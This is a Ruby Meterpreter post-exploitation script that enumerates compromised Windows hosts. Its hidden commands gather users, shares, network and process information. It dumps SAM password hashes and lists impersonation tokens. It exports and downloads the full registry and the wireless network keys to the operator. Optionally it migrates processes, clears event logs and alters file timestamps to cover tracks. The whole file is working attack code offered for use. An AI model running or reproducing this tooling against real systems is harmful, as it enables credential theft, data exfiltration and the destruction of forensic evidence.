#!/usr/bin/env ruby # #Meterpreter script for basic enumeration of Windows 2000, Windows 2003, Windows Vista # and Windows XP targets using native windows commands. #Provided by Carlos Perez at carlos_perez[at]darkoperator.com #Verion: 0.3.2 #Note: Compleatly re-writen to make it modular and better error handling. # Working on adding more Virtual Machine Checks and looking at improving # the code but retain the independance of each module so it is easier for # the code to be re-used. #Contributor: natron (natron 0x40 invisibledenizen 0x2E com) (Process Migration Functions) ################## Variable Declarations ################## session = client host,port = session.tunnel_peer.split(':') # Create Filename info to be appended to downloaded files filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")+sprintf("%.5d",rand(100000)) # Create a directory for the logs logs = ::File.join(Msf::Config.config_directory, 'logs', 'winenum', host + filenameinfo ) # Create the log directory ::FileUtils.mkdir_p(logs) #logfile name dest = logs + "/" + host + filenameinfo + ".txt" # Commands that will be ran on the Target commands = [ 'cmd.exe /c set', 'arp -a', 'ipconfig /all', 'ipconfig /displaydns', 'route print', 'net view', 'netstat -na', 'netstat -ns', 'net accounts', 'net share', 'net group', 'net user', 'net localgroup', 'net view /domain', 'netsh firewall show config', 'tasklist /svc' ] # Commands wich MACE will be changed cmdstomp = [ 'cmd.exe', 'reg.exe', 'ipconfig.exe', 'route.exe', 'net.exe', 'netstat.exe', 'netsh.exe', 'makecab.exe', 'tasklist.exe', 'wbem\\wmic.exe', ] # WMIC Commands that will be executed on the Target wmic = [ 'computersystem list', 'useraccount list', 'group', 'service list brief', 'volume list brief', 'process list brief', 'startup list full', 'qfe', ] #Specific Commands for Windows vista for Wireless Enumeration vstwlancmd = [ 'netsh wlan show interfaces', 'netsh wlan show drivers', 'netsh wlan show profiles', 'netsh wlan show networks mode=bssid', ] # Commands that are not present in Windows 2000 nonwin2kcmd = [ 'netsh firewall show config', 'tasklist /svc', 'tasklist.exe', 'wbem\\wmic.exe', 'netsh.exe', ] ################## Function Declarations ################## # Function to check if Target Machine a VM # Note: will add soon Hyper-v and Citrix Xen check. def chkvm(session) check = nil vmout = '' info = session.sys.config.sysinfo print_status "Checking if #{info['Computer']} is a Virtual Machine ........" # Check for Target Machines if running in VM, only fo VMware Workstation/Fusion begin key = 'HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS' root_key, base_key = session.sys.registry.splitkey(key) open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ) v = open_key.query_value('SystemManufacturer') if v.data == 'VMware, Inc.' print_status "\tThis is a VMware Workstation/Fusion Virtual Machine" vmout << "This is a VMware Workstation/Fusion Virtual Machine\n\n" check = 1 end rescue::Exception => e end if check != 1 begin #Registry path using the HD and CD rom entries in the registry in case propirtary tools are #not installed. key2 = "HKLM\\HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0" root_key2, base_key2 = session.sys.registry.splitkey(key2) open_key2 = session.sys.registry.open_key(root_key2,base_key2,KEY_READ) v2 = open_key2.query_value('Identifier') if v2.data.downcase.grep("vmware") print_status "\tThis is a VMWare virtual Machine" vmout << "This is a VMWare virtual Machine\n\n" elsif v2.data.downcase.grep("vbox") print_status "\tThis is a Sun VirtualBox virtual Machine" vmout << "This is a Sun VirtualBox virtual Machine\n\n" end rescue::Exception => e print_status("#{e.class} #{e}") end end vmout end #------------------------------------------------------------------------------- # Function for running a list a commands stored in a array, returs string def list_exec(session,cmdlst) print_status("Running Command List ...") tmpout = "" cmdout = "" r='' cmdlst.each do |cmd| begin print_status "\trunning command #{cmd}" tmpout = "" tmpout << "*****************************************\n" tmpout << " Output of #{cmd}\n" tmpout << "*****************************************\n" r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) while(d = r.channel.read) tmpout << d end cmdout << tmpout r.channel.close r.close rescue ::Exception => e print_status("Error Running Command #{cmd}: #{e.class} #{e}") end end cmdout end #------------------------------------------------------------------------------- # Function for running a list of WMIC commands stored in a array, returs string def wmicexec(session,wmiccmds= nil) print_status("Running WMIC Commands ....") windr = '' tmpout = '' windrtmp = "" begin tmp = session.fs.file.expand_path("%TEMP%") wmicfl = tmp + "\\wmictmp.txt" wmiccmds.each do |wmi| print_status "\trunning command wimic #{wmi}" r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'}) sleep(1) r = session.sys.process.execute("cmd.exe /c echo Output of wmic #{wmi} >> #{wmicfl}",nil, {'Hidden' => 'true'}) sleep(1) r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'}) sleep(1) r = session.sys.process.execute("cmd.exe /c wmic /append:#{wmicfl} #{wmi}", nil, {'Hidden' => true}) sleep(2) r.close end # Read the output file of the wmic commands wmioutfile = session.fs.file.new(wmicfl, "rb") until wmioutfile.eof? tmpout << wmioutfile.read end wmioutfile.close rescue ::Exception => e print_status("Error running WMIC commands: #{e.class} #{e}") end # We delete the file with the wmic command output. c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true}) c.close tmpout end #------------------------------------------------------------------------------- #Function for getting the NTLM and LANMAN hashes out of a system def gethash(session) print_status("Dumping password hashes...") begin hash = '' session.core.use("priv") hashes = session.priv.sam_hashes hash << "****************************\n" hash << " Dumped Password Hashes\n" hash << "****************************\n\n" hashes.each do |h| hash << h.to_s+"\n" end hash << "\n\n\n" print_status("Hashes Dumped") rescue ::Exception => e print_status("\tError dumping hashes: #{e.class} #{e}") print_status("\tPayload may be running with insuficient privileges!") end hash end #------------------------------------------------------------------------------- #Function that uses the incognito fetures to list tokens on the system that can be used def listtokens(session) begin print_status("Getting Tokens...") dt = '' session.core.use("incognito") i = 0 dt << "****************************\n" dt << " List of Available Tokens\n" dt << "****************************\n\n" while i < 2 tokens = session.incognito.incognito_list_tokens(i) if i == 0 tType = "User" else tType = "Group" end dt << "#{tType} Delegation Tokens Available \n" dt << "======================================== \n" tokens['delegation'].each { |string| dt << string + "\n" } dt << "\n" dt << "#{tType} Impersonation Tokens Available \n" dt << "======================================== \n" tokens['impersonation'].each { |string| dt << string + "\n" } i += 1 break if i == 2 end print_status("All tokens have been processed") rescue ::Exception => e print_status("Error Getting Tokens: #{e.class} #{e}") end dt end #------------------------------------------------------------------------------- # Function for clearing all eventlogs def clrevtlgs(session) evtlogs = [ 'security', 'system', 'application', 'directory service', 'dns server', 'file replication service' ] print_status("Clearing Event Logs, this will leave and event 517") begin evtlogs.each do |evl| print_status("\tClearing the #{evl} Event Log") log = session.sys.eventlog.open(evl) log.clear end print_status("Alll Event Logs have been cleared") rescue ::Exception => e print_status("Error clearing Event Log: #{e.class} #{e}") end end #------------------------------------------------------------------------------- # Function for Changing Access Time, Modified Time and Created Time of Files Supplied in an Array # The files have to be in %WinDir%\System32 folder. def chmace(session,cmds) windir = '' windrtmp = "" print_status("Changing Access Time, Modified Time and Created Time of Files Used") windir = session.fs.file.expand_path("%WinDir%") cmds.each do |c| begin session.core.use("priv") filetostomp = windir + "\\system32\\"+ c fl2clone = windir + "\\system32\\chkdsk.exe" print_status("\tChanging file MACE attributes on #{filetostomp}") session.priv.fs.set_file_mace_from_file(filetostomp, fl2clone) rescue ::Exception => e print_status("Error changing MACE: #{e.class} #{e}") end end end #------------------------------------------------------------------------------- #Dumping and Downloading the Registry of the target machine def regdump(session,pathoflogs,filename) host,port = session.tunnel_peer.split(':') #This variable will only contain garbage, it is to make sure that the channel is not closed while the reg is being dumped and compress garbage = '' windrtmp = '' hives = %w{HKCU HKLM HKCC HKCR HKU} windir = session.fs.file.expand_path("%WinDir%") print_status('Dumping and Downloading the Registry') hives.each do |hive| begin print_status("\tExporting #{hive}") r = session.sys.process.execute("cmd.exe /c reg.exe export #{hive} #{windir}\\Temp\\#{hive}#{filename}.reg", nil, {'Hidden' => 'true','Channelized' => true}) while(d = r.channel.read) garbage << d end r.channel.close r.close print_status("\tCompressing #{hive} into cab file for faster download") r = session.sys.process.execute("cmd.exe /c makecab #{windir}\\Temp\\#{hive}#{filename}.reg #{windir}\\Temp\\#{hive}#{filename}.cab", nil, {'Hidden' => 'true','Channelized' => true}) while(d = r.channel.read) garbage << d end r.channel.close r.close rescue ::Exception => e print_status("Error dumping Registry Hives #{e.class} #{e}") end end #Downloading Compresed registry Hives hives.each do |hive| begin print_status("\tDownloading #{hive}#{filename}.cab to -> #{pathoflogs}/#{host}-#{hive}#{filename}.cab") session.fs.file.download_file("#{pathoflogs}/#{host}-#{hive}#{filename}.cab", "#{windir}\\Temp\\#{hive}#{filename}.cab") sleep(5) rescue ::Exception => e print_status("Error Downloading Registry Hives #{e.class} #{e}") end end #Deleting left over files print_status("\tDeleting left over files") session.sys.process.execute("cmd.exe /c del #{windir}\\Temp\\HK*", nil, {'Hidden' => 'true'}) end #------------------------------------------------------------------------------- # Function that will call 2 other Functions to cover all tracks def covertracks(session,cmdstomp) clrevtlgs(session) info = session.sys.config.sysinfo trgtos = info['OS'] if trgtos =~ /(Windows 2000)/ chmace(session,cmdstomp - nonwin2kcmd) else chmace(session,cmdstomp) end end #------------------------------------------------------------------------------- # Function for writing results of other functions to a file def filewrt(file2wrt, data2wrt) output = ::File.open(file2wrt, "a") data2wrt.each do |d| output.puts(d) end output.close end #------------------------------------------------------------------------------- # Function for Usage def usage print_line("Windows Local Enumerion Meterpreter Script ") print_line("Usage:\n") print_line("-h\tThis help message.\n") print_line("-m\tMigrates the Meterpreter Session from it current process to a new one\n") print_line("-c\tChanges Access Time, Modified Time and Created Time of executables") print_line(" \tthat where run on the target machine and clear the EventLog\n") print_line("-r\tDumps, compresses and download entire Registry\n") end #------------------------------------------------------------------------------- # Function for dumping Registry keys that contain wireless configuration settings for Vista and XP # This keys can later be imported into a Windows client for conection or key extraction. def dumpwlankeys(session,pathoflogs,filename) host,port = session.tunnel_peer.split(':') #This variable will only contain garbage, it is to make sure that the channel is not closed while the reg is being dumped and compress garbage = '' windrtmp = '' windir = session.fs.file.expand_path("%WinDir%") print_status('Dumping and Downloading the Registry entries for Configured Wireless Networks') xpwlan = "HKLM\\Software\\Microsoft\\WZCSVC\\Parameters\\Interfaces" vswlan = "HKLM\\SOFTWARE\\Microsoft\\Wlansvc\\Interfaces" info = session.sys.config.sysinfo trgtos = info['OS'] if trgtos =~ /(Windows XP)/ key = xpwlan elsif trgtos =~ /(Windows Vista)/ key = vswlan end begin print_status("\tExporting #{key}") r = session.sys.process.execute("cmd.exe /c reg.exe export #{key} #{windir}\\Temp\\wlan#{filename}.reg", nil, {'Hidden' => 'true','Channelized' => true}) while(d = r.channel.read) garbage << d end r.channel.close r.close print_status("\tCompressing key into cab file for faster download") r = session.sys.process.execute("cmd.exe /c makecab #{windir}\\Temp\\wlan#{filename}.reg #{windir}\\Temp\\wlan#{filename}.cab", nil, {'Hidden' => 'true','Channelized' => true}) while(d = r.channel.read) garbage << d end r.channel.close r.close rescue ::Exception => e print_status("Error dumping Registry keys #{e.class} #{e}") end #Downloading Compresed registry keys begin print_status("\tDownloading wlan#{filename}.cab to -> #{pathoflogs}/wlan#{filename}.cab") session.fs.file.download_file("#{pathoflogs}/wlan#{filename}.cab", "#{windir}\\Temp\\wlan#{filename}.cab") sleep(5) rescue ::Exception => e print_status("Error Downloading Registry keys #{e.class} #{e}") end #Deleting left over files print_status("\tDeleting left over files") session.sys.process.execute("cmd.exe /c del #{windir}\\Temp\\wlan*", nil, {'Hidden' => 'true'}) end # Functions Provided by natron (natron 0x40 invisibledenizen 0x2E com) # for Process Migration #--------------------------------------------------------------------------------------------------------- def launchProc(session,target) print_status("Launching hidden #{target}...") # Set the vars; these can of course be modified if need be cmd_exec = target cmd_args = nil hidden = true channelized = nil use_thread_token = false # Launch new process newproc = session.sys.process.execute(cmd_exec, cmd_args, 'Channelized' => channelized, 'Hidden' => hidden, 'InMemory' => nil, 'UseThreadToken' => use_thread_token) print_status("Process #{newproc.pid} created.") return newproc end #------------------------------------------------------------------------------- def migrateToProc(session,newproc) # Grab the current pid info server = session.sys.process.open print_status("Current process is #{server.name} (#{server.pid}). Migrating to #{newproc.pid}.") # Save the old process info so we can kill it after migration. oldproc = server.pid # Do the migration session.core.migrate(newproc.pid.to_i) print_status("Migration completed successfully.") # Grab new process info server = session.sys.process.open print_status("New server process: #{server.name} (#{server.pid})") return oldproc end #------------------------------------------------------------------------------- def killApp(session,procpid) session.sys.process.kill(procpid) print_status("Old process #{procpid} killed.") end #--------------------------------------------------------------------------------------------------------- # Function to execute process migration def migrate(session) target = 'cmd.exe' newProcPid = launchProc(session,target) oldProc = migrateToProc(session,newProcPid) #killApp(oldProc) #Dangerous depending on the service exploited end ################## MAIN ################## # Parsing of Options rd = nil mg = nil cm = nil helpopt = nil args.each do |opt| case opt when '-h' usage helpopt = 1 when '-r' rd = 1 when '-m' mg = 1 when '-c' cm = 1 end end if helpopt != 1 # Execute Functions selected if (mg != nil) migrate(session) end # Main part of script, it will run all function minus the ones # that will chance the MACE and Clear the Eventlog. print_status("Running Windows Local Enumerion Meterpreter Script") print_status("New session on #{host}:#{port}...") # Header for File that will hold all the output of the commands info = session.sys.config.sysinfo header = "Date: #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n" header << "Running as: #{client.sys.config.getuid}\n" header << "Host: #{info['Computer']}\n" header << "OS: #{info['OS']}\n" header << "\n\n\n" trgtos = info['OS'] print_status("Saving report to #{dest}") filewrt(dest,header) filewrt(dest,chkvm(session)) # Run Commands according to OS some commands are not available on all versions of Windows if trgtos =~ /(Windows XP)/ filewrt(dest,list_exec(session,commands)) filewrt(dest,wmicexec(session,wmic)) dumpwlankeys(session,logs,filenameinfo) elsif trgtos =~ /(Windows .NET Server)/ filewrt(dest,list_exec(session,commands)) filewrt(dest,wmicexec(session,wmic)) elsif trgtos =~ /(Windows Vista)/ filewrt(dest,list_exec(session,commands + vstwlancmd)) filewrt(dest,wmicexec(session,wmic)) dumpwlankeys(session,logs,filenameinfo) elsif trgtos =~ /(Windows 2000)/ filewrt(dest,list_exec(session,commands - nonwin2kcmd)) end filewrt(dest,gethash(session)) filewrt(dest,listtokens(session)) if (rd != nil) regdump(session,logs,filenameinfo) filewrt(dest,"Registry was dumped and downloaded") end if (cm != nil) filewrt(dest,"EventLogs where Cleared") covertracks(session,cmdstomp) end print_status("Done!") end